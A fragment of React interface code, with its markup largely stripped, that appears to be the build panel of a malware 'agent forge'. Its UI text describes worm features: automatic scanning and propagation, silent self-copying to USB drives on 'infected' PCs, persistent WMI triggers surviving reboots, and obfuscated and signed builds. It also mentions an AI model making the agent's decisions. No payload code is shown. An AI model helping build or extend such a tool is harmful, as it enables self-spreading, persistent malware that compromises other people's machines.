)} )}
)} {!simpleMode && ( <>
{form.ai_enabled && ( <>
updateField('ai_ollama_endpoint', e.target.value)} />

Control server machine — not the worker. Default: http://localhost:11434

updateField('ai_model', e.target.value)} />

Model to use for decisions. Default: llama3.2. Must support tool-calling / JSON output.

)}
{form.auto_spread && (

⚠ Auto-Spread is ON — every agent forged with this config will scan and propagate automatically.

)}
{form.usb_spread && (
Agent will silently copy itself to any USB drive plugged into an infected PC and install a permanent WMI trigger that survives reboots.
)}
)}

PREFLIGHT CROSS-CHECK

    {preflightChecks.map((c) => (
  • {c.level === 'ok' ? '✓' : c.level === 'warn' ? '!' : '✕'} {c.message}
  • ))}
{error && (
⚠️ {error}
)}
{building && !batchJob && ( )}
{!canForge && errorCount > 0 && (

Forge is blocked until all preflight errors (✕) are resolved. Warnings (!) still allow forging.

)}
{lastBuild?.success && (
{lastBuild.file_name || 'Build ready'} {lastBuild.file_size != null && ( {((lastBuild.file_size || 0) / 1024 / 1024).toFixed(1)} MB )} {lastBuild.fusion_enabled && FUSION} {lastBuild.obfuscated && GARBLED} {lastBuild.signed && SIGNED}
{lastBuild.download_url && lastBuild.file_name && ( ↓ Download )} {lastBuild.build_id && lastBuild.extra_files?.map((f) => f.file_name ? ( ↓ {f.file_name} ) : null )} {showBlueprintOffer && ( )}
)}
); }